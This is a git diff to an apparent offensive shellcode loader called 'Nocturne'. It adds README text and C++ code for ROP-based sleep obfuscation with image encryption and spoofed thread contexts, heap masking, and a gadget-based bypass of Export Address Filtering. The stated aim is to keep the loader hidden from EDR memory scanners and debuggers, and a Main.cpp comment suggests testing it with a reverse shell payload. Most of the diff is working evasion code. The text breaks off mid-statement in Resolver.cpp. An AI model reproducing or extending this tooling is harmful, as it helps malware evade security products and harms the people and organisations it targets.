diff --git a/README.md b/README.md index fbd6668..71759d0 100644 --- a/README.md +++ b/README.md @@ -82,6 +82,33 @@ The dynamic function table entry is invisible to WinDbg's forensic commands. Typ WinDbg bypass — .fnent shows donor unwind info, no dynamic table artifacts +### 😴 Zilean Sleep Obfuscation with Stack Duplication + +While the payload sleeps, the loader's entire image is encrypted in memory using a **ROP chain** built from `RtlRegisterWait` and `NtContinue`. The chain is executed on a dedicated worker thread and follows this sequence: + +1. **WaitForSingleObjectEx** — Gate: waits for the trigger event +2. **VirtualProtect** — Changes the image to `PAGE_READWRITE` +3. **SystemFunction040** — Encrypts the image in-place (RtlEncryptMemory) +4. **NtGetContextThread** — Backs up the current thread's context +5. **NtSetContextThread** — Replaces it with a **spoofed context captured from a legitimate thread** (stack duplication) +6. **WaitForSingleObjectEx** — Sleeps for the configured timeout +7. **NtSetContextThread** — Restores the original context from backup +8. **SystemFunction041** — Decrypts the image back (RtlDecryptMemory) +9. **VirtualProtect** — Restores `PAGE_EXECUTE_READ` +10. **SetEvent** — Signals completion + +During sleep, if an EDR calls `GetThreadContext`, it sees the duplicated stack of a legitimate Windows thread — not the loader's real context. Combined with BYOUD stack spoofing during execution, the thread appears clean both while running and while sleeping. + +### 🔐 Heap Masking + +Before the image is encrypted, all **busy heap allocations** across every process heap (except the default process heap) are XOR-encrypted with a per-cycle random key. This prevents EDR memory scanners from finding decrypted strings, shellcode fragments, or configuration data in heap memory while the loader sleeps. The same key is used to decrypt after wakeup — the operation is fully symmetric. + +### 🛡️ EAF Bypass (ShieldedRead) + +Export Address Filtering (EAF) uses hardware breakpoints to detect when untrusted code reads the export tables of critical modules like `ntdll.dll` and `kernel32.dll`. Nocturne bypasses this using a **gadget-based read primitive**: instead of directly dereferencing export table pointers, all reads are routed through a `MOV RAX, [RAX]; RET` gadget found inside `ntdll.dll` itself. Since the actual memory read occurs within a signed Microsoft module, EAF's hardware breakpoints see a legitimate caller and do not trigger. + +The `ShieldedRead` assembly stub accepts a target address and an optional gadget pointer. If a gadget is provided, it jumps to the gadget to perform the read; otherwise it falls back to a normal dereference. The `LdrShieldedSymbolResolveByHash` resolver uses this for every export table access — PE header parsing, name array iteration, ordinal lookup, and function address resolution all go through the gadget. + ### 🔒 CRT-Free Build The entire project compiles with `/NODEFAULTLIB` and a custom entry point. Memory management uses `HeapAlloc`/`HeapFree` through operator overrides. `memset` and `memcpy` are implemented as custom intrinsics. This eliminates CRT dependencies that would inflate the binary and add unnecessary attack surface. @@ -133,11 +160,13 @@ Nocturne/ │ ├── Resolver.cpp # PEB walking & hash-based API resolution │ ├── StackUtils.cpp # Stack origin & cookie detection │ ├── Proxy.cpp # Thread pool proxied API calls +│ ├── Zilean.cpp # Sleep obfuscation, heap masking & stack duplication │ ├── Intrinsic.cpp # Custom memset/memcpy │ ├── Debug.cpp # Debug console allocation │ ├── ShadowGate.asm # Payload execution stub │ ├── StackSearch.asm # Stack scanning primitives │ ├── SetRegister.asm # Register manipulation +│ ├── Unguard.asm # EAF bypass gadget-based read primitive │ └── ApiStub.asm # Indirect syscall stubs └── docs/ └── screenshots/ diff --git a/include/Common.h b/include/Common.h index f0c30b8..3a83cbc 100644 --- a/include/Common.h +++ b/include/Common.h @@ -33,6 +33,22 @@ struct WIN32_API { _In_opt_ PLARGE_INTEGER Timeout ); + NTSTATUS(NTAPI* NtSignalAndWaitForSingleObject)( + _In_ HANDLE SignalHandle, + _In_ HANDLE WaitHandle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout + ); + + NTSTATUS(NTAPI* RtlRegisterWait)( + _Out_ PHANDLE WaitHandle, + _In_ HANDLE Handle, + _In_ WAITORTIMERCALLBACKFUNC Function, + _In_opt_ PVOID Context, + _In_ ULONG Milliseconds, + _In_ ULONG Flags + ); + NTSTATUS(NTAPI* NtCreateEvent)( _Out_ PHANDLE EventHandle, _In_ ACCESS_MASK DesiredAccess, @@ -41,11 +57,55 @@ struct WIN32_API { _In_ BOOLEAN InitialState ); + NTSTATUS(NTAPI* NtResumeThread)( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount + ); + + NTSTATUS(NTAPI* NtSuspendThread)( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount + ); + + NTSTATUS(NTAPI* NtOpenThread)( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId + ); + + NTSTATUS(NTAPI* NtQuerySystemInformation)( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _Inout_ PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength + ); + NTSTATUS(NTAPI* NtSetEvent)( _In_ HANDLE EventHandle, _Out_opt_ PLONG PreviousState ); + NTSTATUS(NTAPI* NtGetContextThread)( + _In_ HANDLE ThreadHandle, + _Inout_ PCONTEXT ThreadContext + ); + + NTSTATUS(NTAPI* NtSetContextThread)( + _In_ HANDLE ThreadHandle, + _In_ PCONTEXT ThreadContext + ); + + NTSTATUS(NTAPI* NtDuplicateObject)( + _In_ HANDLE SourceProcessHandle, + _In_ HANDLE SourceHandle, + _In_opt_ HANDLE TargetProcessHandle, + _Out_opt_ PHANDLE TargetHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Options + ); + BOOLEAN(NTAPI* RtlAddFunctionTable)( _In_ PRUNTIME_FUNCTION FunctionTable, _In_ ULONG EntryCount, @@ -60,6 +120,10 @@ struct WIN32_API { _Inout_ PRTL_SRWLOCK SRWLock ); + VOID(NTAPI* RtlCaptureContext)( + _Out_ PCONTEXT ContextRecord + ); + VOID(NTAPI* RtlReleaseSRWLockExclusive)( _Inout_ PRTL_SRWLOCK SRWLock ); @@ -81,6 +145,7 @@ struct WIN32_API { _Out_ PUNWIND_HISTORY_TABLE HistoryTable ); + PVOID NtContinue; } Nt; struct { @@ -97,6 +162,28 @@ struct WIN32_API { _In_opt_ LPCWSTR lpModuleName ); + BOOL(WINAPI* HeapWalk)( + _In_ HANDLE hHeap, + _Inout_ LPPROCESS_HEAP_ENTRY lpEntry + ); + + DWORD(WINAPI* WaitForSingleObjectEx)( + _In_ HANDLE hHandle, + _In_ DWORD dwMilliseconds, + _In_ BOOL bAlertable + ); + + BOOL(WINAPI* VirtualProtect)( + _In_ LPVOID lpAddress, + _In_ SIZE_T dwSize, + _In_ DWORD flNewProtect, + _Out_ PDWORD lpflOldProtect + ); + + BOOL(WINAPI* SetEvent)( + _In_ HANDLE hEvent + ); + } K32; struct { @@ -124,10 +211,15 @@ struct WIN32_API { PVOID SystemFunction032; } AdvApi32; + struct { + PVOID SystemFunction040; + PVOID SystemFunction041; + } CryptBase; }; -/* Global Object */ +/* Global Objects */ inline WIN32_API g_Win32{}; +inline HANDLE g_PayloadReady = nullptr; /* External assembly functions */ extern "C" ULONG_PTR CaptureStackPointer(); @@ -139,6 +231,10 @@ extern "C" ULONG_PTR ShadowGate( _In_ PSHADOWGATE_PARAMS pShadowParams ); extern "C" ULONG_PTR ShadowGateEnd(); +extern "C" ULONG_PTR ShieldedRead( + _In_ ULONG_PTR uTarget, + _In_opt_ ULONG_PTR uGadget +); /*================================================ @ Function Pointers @@ -149,7 +245,7 @@ namespace Resolver { PVOID LdrGetModuleByHash( _In_ ULONG uModuleHash ); - PVOID LdrGetSymbolByHash( + PVOID LdrShieldedSymbolResolveByHash( _In_ PVOID pModule, _In_ ULONG uFunctionHash ); @@ -352,4 +448,9 @@ namespace Proxy { ); } +/* From Zilean.cpp */ +VOID MaskImage( + _In_ DWORD dwTimeout +); + #endif /* COMMON.H */ \ No newline at end of file diff --git a/include/InitializeAPI.h b/include/InitializeAPI.h index a10b861..59b212e 100644 --- a/include/InitializeAPI.h +++ b/include/InitializeAPI.h @@ -17,7 +17,9 @@ namespace Win32API { PVOID Kernel32 = nullptr; PVOID Ntdll = nullptr; PVOID AdvApi = nullptr; + PVOID CryptBase = nullptr; WCHAR AdvStr[] = { L'a', L'd', L'v', L'a', L'p', L'i', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' }; + WCHAR CryptStr[] = { L'c', L'r', L'y', L'p', L't', L'b', L'a', L's', L'e', L'.', L'd', L'l', L'l', L'\0' }; #ifdef DEBUG DBGPRINT("[*] Initializing Win32 APIs \n"); @@ -37,9 +39,9 @@ namespace Win32API { return FALSE; } - g_Win32.K32.LoadLibraryW = (decltype(g_Win32.K32.LoadLibraryW))Resolver::LdrGetSymbolByHash(Kernel32, Hash::ExprHashStrDjb2("LoadLibraryW")); - g_Win32.K32.GetModuleHandleW = (decltype(g_Win32.K32.GetModuleHandleW))Resolver::LdrGetSymbolByHash(Kernel32, Hash::ExprHashStrDjb2("GetModuleHandleW")); - g_Win32.Nt.RtlQueueWorkItem = (decltype(g_Win32.Nt.RtlQueueWorkItem))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlQueueWorkItem")); + g_Win32.K32.LoadLibraryW = (decltype(g_Win32.K32.LoadLibraryW))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("LoadLibraryW")); + g_Win32.K32.GetModuleHandleW = (decltype(g_Win32.K32.GetModuleHandleW))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("GetModuleHandleW")); + g_Win32.Nt.RtlQueueWorkItem = (decltype(g_Win32.Nt.RtlQueueWorkItem))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlQueueWorkItem")); if (!g_Win32.K32.LoadLibraryW || !g_Win32.K32.GetModuleHandleW || !g_Win32.Nt.RtlQueueWorkItem) return FALSE; @@ -51,37 +53,79 @@ namespace Win32API { return FALSE; } - g_Win32.K32.WaitForSingleObject = (decltype(g_Win32.K32.WaitForSingleObject))Resolver::LdrGetSymbolByHash(Kernel32, Hash::ExprHashStrDjb2("WaitForSingleObject")); + if (!(CryptBase = Proxy::WorkItemLoadLibrary(CryptStr))) { +#ifdef DEBUG + DBGPRINT("[-] WorkItemLoadLibrary -> Failed To Load CryptBase - %s.%d \n", GET_FILENAME(__FILE__), __LINE__); +#endif + return FALSE; + } - if (!g_Win32.K32.WaitForSingleObject) + /* Initialize Kernel32 Apis */ + g_Win32.K32.WaitForSingleObject = (decltype(g_Win32.K32.WaitForSingleObject))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("WaitForSingleObject")); + g_Win32.K32.HeapWalk = (decltype(g_Win32.K32.HeapWalk))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("HeapWalk")); + g_Win32.K32.WaitForSingleObjectEx = (decltype(g_Win32.K32.WaitForSingleObjectEx))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("WaitForSingleObjectEx")); + g_Win32.K32.VirtualProtect = (decltype(g_Win32.K32.VirtualProtect))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("VirtualProtect")); + g_Win32.K32.SetEvent = (decltype(g_Win32.K32.SetEvent))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("SetEvent")); + + if (!g_Win32.K32.WaitForSingleObject || !g_Win32.K32.HeapWalk || !g_Win32.K32.WaitForSingleObjectEx || !g_Win32.K32.VirtualProtect || !g_Win32.K32.SetEvent) return FALSE; - g_Win32.Nt.NtCreateEvent = (decltype(g_Win32.Nt.NtCreateEvent))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtCreateEvent")); - g_Win32.Nt.NtQueryInformationProcess = (decltype(g_Win32.Nt.NtQueryInformationProcess))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtQueryInformationProcess")); - g_Win32.Nt.NtSetEvent = (decltype(g_Win32.Nt.NtSetEvent))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtSetEvent")); - g_Win32.Nt.NtWaitForSingleObject = (decltype(g_Win32.Nt.NtWaitForSingleObject))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtWaitForSingleObject")); - g_Win32.Nt.RtlAcquireSRWLockExclusive = (decltype(g_Win32.Nt.RtlAcquireSRWLockExclusive))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive")); - g_Win32.Nt.RtlAddFunctionTable = (decltype(g_Win32.Nt.RtlAddFunctionTable))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable")); - g_Win32.Nt.RtlDeleteFunctionTable = (decltype(g_Win32.Nt.RtlDeleteFunctionTable))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlDeleteFunctionTable")); - g_Win32.Nt.RtlLookupFunctionEntry = (decltype(g_Win32.Nt.RtlLookupFunctionEntry))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry")); - g_Win32.Nt.RtlReleaseSRWLockExclusive = (decltype(g_Win32.Nt.RtlReleaseSRWLockExclusive))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive")); - g_Win32.Nt.RtlVirtualUnwind = (decltype(g_Win32.Nt.RtlVirtualUnwind))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlVirtualUnwind")); + +//====================================================================================================================================================================== + + /* Initialize Ntdll Apis */ + g_Win32.Nt.NtCreateEvent = (decltype(g_Win32.Nt.NtCreateEvent))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtCreateEvent")); + g_Win32.Nt.NtQueryInformationProcess = (decltype(g_Win32.Nt.NtQueryInformationProcess))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtQueryInformationProcess")); + g_Win32.Nt.NtSetEvent = (decltype(g_Win32.Nt.NtSetEvent))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtSetEvent")); + g_Win32.Nt.NtWaitForSingleObject = (decltype(g_Win32.Nt.NtWaitForSingleObject))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtWaitForSingleObject")); + g_Win32.Nt.NtSignalAndWaitForSingleObject = (decltype(g_Win32.Nt.NtSignalAndWaitForSingleObject))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtSignalAndWaitForSingleObject")); + g_Win32.Nt.NtContinue = (decltype(g_Win32.Nt.NtContinue))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtContinue")); + g_Win32.Nt.NtOpenThread = (decltype(g_Win32.Nt.NtOpenThread))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtOpenThread")); + g_Win32.Nt.NtQuerySystemInformation = (decltype(g_Win32.Nt.NtQuerySystemInformation))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtQuerySystemInformation")); + g_Win32.Nt.NtResumeThread = (decltype(g_Win32.Nt.NtResumeThread))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtResumeThread")); + g_Win32.Nt.NtSuspendThread = (decltype(g_Win32.Nt.NtSuspendThread))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtSuspendThread")); + g_Win32.Nt.NtGetContextThread = (decltype(g_Win32.Nt.NtGetContextThread))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtGetContextThread")); + g_Win32.Nt.NtSetContextThread = (decltype(g_Win32.Nt.NtSetContextThread))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtSetContextThread")); + g_Win32.Nt.NtDuplicateObject = (decltype(g_Win32.Nt.NtDuplicateObject))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtDuplicateObject")); + g_Win32.Nt.RtlAcquireSRWLockExclusive = (decltype(g_Win32.Nt.RtlAcquireSRWLockExclusive))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive")); + g_Win32.Nt.RtlAddFunctionTable = (decltype(g_Win32.Nt.RtlAddFunctionTable))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable")); + g_Win32.Nt.RtlCaptureContext = (decltype(g_Win32.Nt.RtlCaptureContext))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlCaptureContext")); + g_Win32.Nt.RtlDeleteFunctionTable = (decltype(g_Win32.Nt.RtlDeleteFunctionTable))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlDeleteFunctionTable")); + g_Win32.Nt.RtlRegisterWait = (decltype(g_Win32.Nt.RtlRegisterWait))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlRegisterWait")); + g_Win32.Nt.RtlLookupFunctionEntry = (decltype(g_Win32.Nt.RtlLookupFunctionEntry))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry")); + g_Win32.Nt.RtlReleaseSRWLockExclusive = (decltype(g_Win32.Nt.RtlReleaseSRWLockExclusive))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive")); + g_Win32.Nt.RtlVirtualUnwind = (decltype(g_Win32.Nt.RtlVirtualUnwind))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlVirtualUnwind")); if (!g_Win32.Nt.NtCreateEvent || !g_Win32.Nt.NtQueryInformationProcess || !g_Win32.Nt.NtSetEvent || !g_Win32.Nt.RtlAcquireSRWLockExclusive || !g_Win32.Nt.RtlAddFunctionTable || !g_Win32.Nt.RtlDeleteFunctionTable || !g_Win32.Nt.RtlLookupFunctionEntry || !g_Win32.Nt.RtlReleaseSRWLockExclusive || - !g_Win32.Nt.RtlVirtualUnwind || !g_Win32.Nt.NtWaitForSingleObject) + !g_Win32.Nt.RtlVirtualUnwind || !g_Win32.Nt.NtWaitForSingleObject || !g_Win32.Nt.NtSignalAndWaitForSingleObject || + !g_Win32.Nt.NtContinue || !g_Win32.Nt.NtOpenThread || !g_Win32.Nt.NtResumeThread || !g_Win32.Nt.NtQuerySystemInformation || + !g_Win32.Nt.NtSuspendThread || !g_Win32.Nt.RtlCaptureContext || !g_Win32.Nt.RtlRegisterWait || + !g_Win32.Nt.NtGetContextThread || !g_Win32.Nt.NtSetContextThread || !g_Win32.Nt.NtDuplicateObject) return FALSE; - g_Win32.AdvApi32.RegCloseKey = (decltype(g_Win32.AdvApi32.RegCloseKey))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("RegCloseKey")); - g_Win32.AdvApi32.RegOpenKeyExW = (decltype(g_Win32.AdvApi32.RegOpenKeyExW))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("RegOpenKeyExW")); - g_Win32.AdvApi32.RegQueryValueExW = (decltype(g_Win32.AdvApi32.RegQueryValueExW))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("RegQueryValueExW")); - g_Win32.AdvApi32.SystemFunction032 = (decltype(g_Win32.AdvApi32.SystemFunction032))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("SystemFunction032")); +//====================================================================================================================================================================== + + /* Initialize AdvApi32 Apis */ + g_Win32.AdvApi32.RegCloseKey = (decltype(g_Win32.AdvApi32.RegCloseKey))Resolver::LdrShieldedSymbolResolveByHash(AdvApi, Hash::ExprHashStrDjb2("RegCloseKey")); + g_Win32.AdvApi32.RegOpenKeyExW = (decltype(g_Win32.AdvApi32.RegOpenKeyExW))Resolver::LdrShieldedSymbolResolveByHash(AdvApi, Hash::ExprHashStrDjb2("RegOpenKeyExW")); + g_Win32.AdvApi32.RegQueryValueExW = (decltype(g_Win32.AdvApi32.RegQueryValueExW))Resolver::LdrShieldedSymbolResolveByHash(AdvApi, Hash::ExprHashStrDjb2("RegQueryValueExW")); + g_Win32.AdvApi32.SystemFunction032 = (decltype(g_Win32.AdvApi32.SystemFunction032))Resolver::LdrShieldedSymbolResolveByHash(AdvApi, Hash::ExprHashStrDjb2("SystemFunction032")); if (!g_Win32.AdvApi32.RegCloseKey || !g_Win32.AdvApi32.RegOpenKeyExW || !g_Win32.AdvApi32.RegQueryValueExW || !g_Win32.AdvApi32.SystemFunction032) return FALSE; +//====================================================================================================================================================================== + + /* Initialize CryptBase Apis */ + g_Win32.CryptBase.SystemFunction040 = (decltype(g_Win32.CryptBase.SystemFunction040))Resolver::LdrShieldedSymbolResolveByHash(CryptBase, Hash::ExprHashStrDjb2("SystemFunction040")); + g_Win32.CryptBase.SystemFunction041 = (decltype(g_Win32.CryptBase.SystemFunction041))Resolver::LdrShieldedSymbolResolveByHash(CryptBase, Hash::ExprHashStrDjb2("SystemFunction041")); + + if (!g_Win32.CryptBase.SystemFunction040 || !g_Win32.CryptBase.SystemFunction041) + return FALSE; + #ifdef DEBUG DBGPRINT("[+] Success \n"); #endif diff --git a/include/Structs.h b/include/Structs.h index f6b99df..948bb34 100644 --- a/include/Structs.h +++ b/include/Structs.h @@ -78,6 +78,26 @@ #define CALL_NEAR_QPTR 0xFF15 #define CALL_FAR_QPTR 0x0015FF48 +/*=================================== +# Sleep Obfuscation +=====================================*/ +typedef struct _USTRING { + DWORD Length; + DWORD MaximumLength; + PBYTE Buffer; +} USTRING, * PUSTRING; + +typedef struct _SLEEP_CONTEXT { + PVOID pModule; // Sacrificial DLL base + PVOID pTextBase; // Loader .text base + SIZE_T szTextSize; // Loader .text size + HANDLE hPayloadThread; // Payload thread handle + HANDLE hHeap; // Process heap + BYTE Key[16]; // RC4 key + DWORD dwKeySize; // Key size + DWORD dwSleepMs; // Sleep interval +} SLEEP_CONTEXT, * PSLEEP_CONTEXT; + /*=================================== # Unwind Flags =====================================*/ @@ -93,6 +113,7 @@ typedef VOID(NTAPI* fnLdrProtectMrdata)(_In_ BOOL Protect); typedef VOID(NTAPI* fnRtlAcquireSRWLockExclusive)(_Inout_ PRTL_SRWLOCK SRWLock); typedef VOID(NTAPI* fnRtlReleaseSRWLockExclusive)(_Inout_ PRTL_SRWLOCK SRWLock); +typedef NTSTATUS(NTAPI* fnSystemFunction032)(_Inout_ PUSTRING Data, _In_ PUSTRING Key); /*=================================== # Typedefs diff --git a/src/Main.cpp b/src/Main.cpp index 116a1b1..78a96cc 100644 --- a/src/Main.cpp +++ b/src/Main.cpp @@ -1,6 +1,6 @@ /* Main.cpp * - * NOTE: For testing call stack spoofing, use a persistent + * NOTE: For testing call stack spoofing and sleep obfuscation, use a persistent * payload that does not exit immediately (e.g. a reverse shell or a long-running * beacon). Short-lived payloads like exec/calc will terminate before you can * inspect the spoofed call stack. @@ -56,10 +56,23 @@ VOID XorDecrypt(PBYTE pPayload, SIZE_T sPayloadSize, PBYTE pKey, SIZE_T sKeySize } } +struct PAYLOAD_ARGS { + PBYTE pBuffer; + DWORD dwSize; +}; + +VOID NTAPI PayloadWorker(PVOID Context) { + PAYLOAD_ARGS* pArgs = (PAYLOAD_ARGS*)Context; + StackSpoof::ExecuteWithSpoofedStack(pArgs->pBuffer, pArgs->dwSize); +} + +VOID ZileanSleep(DWORD dwTimeout); + int main() { PBYTE Data = (PBYTE)CipherText; SIZE_T Size = sizeof(CipherText); + DWORD Timeout = 6 * 1000; #ifdef DEBUG CreateDebugConsole(); @@ -88,11 +101,25 @@ int main() { DBGPRINT("[+] Success \n"); #endif - /* Execute payload with stack spoofing */ - StackSpoof::ExecuteWithSpoofedStack( - Data, - Size - ); + /* Create event for payload readiness signaling */ + g_Win32.Nt.NtCreateEvent(&g_PayloadReady, EVENT_ALL_ACCESS, nullptr, NotificationEvent, FALSE); + + /* Queue payload on worker thread — runs ExecuteWithSpoofedStack */ + PAYLOAD_ARGS Args = { Data, (DWORD)Size }; + g_Win32.Nt.RtlQueueWorkItem((WORKERCALLBACKFUNC)PayloadWorker, &Args, WT_EXECUTEDEFAULT); + + /* Wait until payload signals it's ready (right before ShadowGate call) */ + g_Win32.Nt.NtWaitForSingleObject(g_PayloadReady, FALSE, nullptr); + Macro::DeleteHandle(g_PayloadReady); + +#ifdef DEBUG + DBGPRINT("\n[+] Payload Started, Beginning Sleep Obfuscation \n"); +#endif + + /* Sleep obfuscation loop */ + while (TRUE) { + MaskImage(Timeout); + } return 0; -} \ No newline at end of file +} diff --git a/src/Proxy.cpp b/src/Proxy.cpp index 72844c9..225953d 100644 --- a/src/Proxy.cpp +++ b/src/Proxy.cpp @@ -105,7 +105,7 @@ NTSTATUS Proxy::WorkItemNtProtectVirtualMemory( HANDLE EventHandle = nullptr; NTSTATUS Status = STATUS_SUCCESS; PROTECT_MEMORY_CTX Ctx = { - .NtProtectVirtualMemory = Resolver::LdrGetSymbolByHash(Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")), + .NtProtectVirtualMemory = Resolver::LdrShieldedSymbolResolveByHash(Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")), Hash::ExprHashStrDjb2("NtProtectVirtualMemory")), .Args = { diff --git a/src/Resolver.cpp b/src/Resolver.cpp index 8bf1fa4..275ba61 100644 --- a/src/Resolver.cpp +++ b/src/Resolver.cpp @@ -43,6 +43,25 @@ PVOID Resolver::LdrGetModuleByHash( return nullptr; } +PVOID FindShieldGadget( +) { + ULONG_PTR Memory = { 0 }; + BYTE Pattern[] = { + 0x48, 0x8B, + 0x00, 0xC3 + }; + + Memory = (ULONG_PTR)Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")) + 0x1000; + + for (ULONG_PTR Len = 0; Len < 0x1000 * 0x1000; Len++) { + if (Primitive::MemoryCompare((PVOID)(Memory + Len), Pattern, sizeof(Pattern)) == 0) { + return (PVOID)(Memory + Len); + } + } + + return nullptr; +} + /*================================================ @ LdrGetSymbolByHash Function # Parses the export directory of the given module @@ -50,89 +69,86 @@ PVOID Resolver::LdrGetModuleByHash( # the provided hash. Handles forwarded exports # recursively via WorkItemProxyLoadLibrary ================================================*/ -PVOID Resolver::LdrGetSymbolByHash( +PVOID Resolver::LdrShieldedSymbolResolveByHash( _In_ PVOID pModule, _In_ ULONG uFunctionHash ) { if (!pModule || !uFunctionHash) { #ifdef DEBUG - DBGPRINT("[-] LdrGetSymbolByHash Failed At Hash -> 0x%0.8X - %s.%d \n", uFunctionHash, GET_FILENAME(__FILE__), __LINE__); + DBGPRINT("[-] LdrShieldedSymbolResolveByHash Failed At Hash -> 0x%0.8X - %s.%d \n", uFunctionHash, GET_FILENAME(__FILE__), __LINE__); #endif return nullptr; } - //------------------------------------------------------------------------- - - /* Avoid casting to PBYTE each time */ - PBYTE BaseAddress = (PBYTE)pModule; - - /* Fetch the NT headers and do a signature check */ - auto Nt = (PIMAGE_NT_HEADERS)(BaseAddress + ((PIMAGE_DOS_HEADER)BaseAddress)->e_lfanew); - if (Nt->Signature != IMAGE_NT_SIGNATURE) + PVOID Gadget = FindShieldGadget(); + if (!Gadget) return nullptr; - /* Fetch the export cirectory and the size of it */ - auto ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(BaseAddress + Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); - auto ExportSize = Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; + PBYTE BaseAddress = (PBYTE)pModule; - /* Fetch the function's name & address & ordinal pointers */ - auto AddressOfFunctions = (PDWORD)(BaseAddress + ExportDirectory->AddressOfFunctions); - auto AddressOfNames = (PDWORD)(BaseAddress + ExportDirectory->AddressOfNames); - auto AddressOfOrdinals = (PWORD)(BaseAddress + ExportDirectory->AddressOfNameOrdinals); - - /* Iterate through exported functions */ - for (int i = 0; i < ExportDirectory->NumberOfNames; i++) { + auto Nt = (PIMAGE_NT_HEADERS)(BaseAddress + (DWORD)ShieldedRead((ULONG_PTR) & ((PIMAGE_DOS_HEADER)BaseAddress)->e_lfanew, (ULONG_PTR)Gadget)); + if ((DWORD)ShieldedRead((ULONG_PTR)&Nt->Signature, (ULONG_PTR)Gadget) != IMAGE_NT_SIGNATURE) + return nullptr; - PCHAR FunctionName = (PCHAR)(BaseAddress + AddressOfNames[i]); - PVOID FunctionVA = (PVOID)(BaseAddress + AddressOfFunctions[AddressOfOrdinals[i]]); + auto ExportRva = (DWORD)ShieldedRead((ULONG_PTR)&Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, (ULONG_PTR)Gadget); + auto ExportSize = (DWORD)ShieldedRead((ULONG_PTR)&Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size, (ULONG_PTR)Gadget); + + auto ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(BaseAddress + ExportRva); + auto AddressOfFunctions = (PDWORD)(BaseAddress + 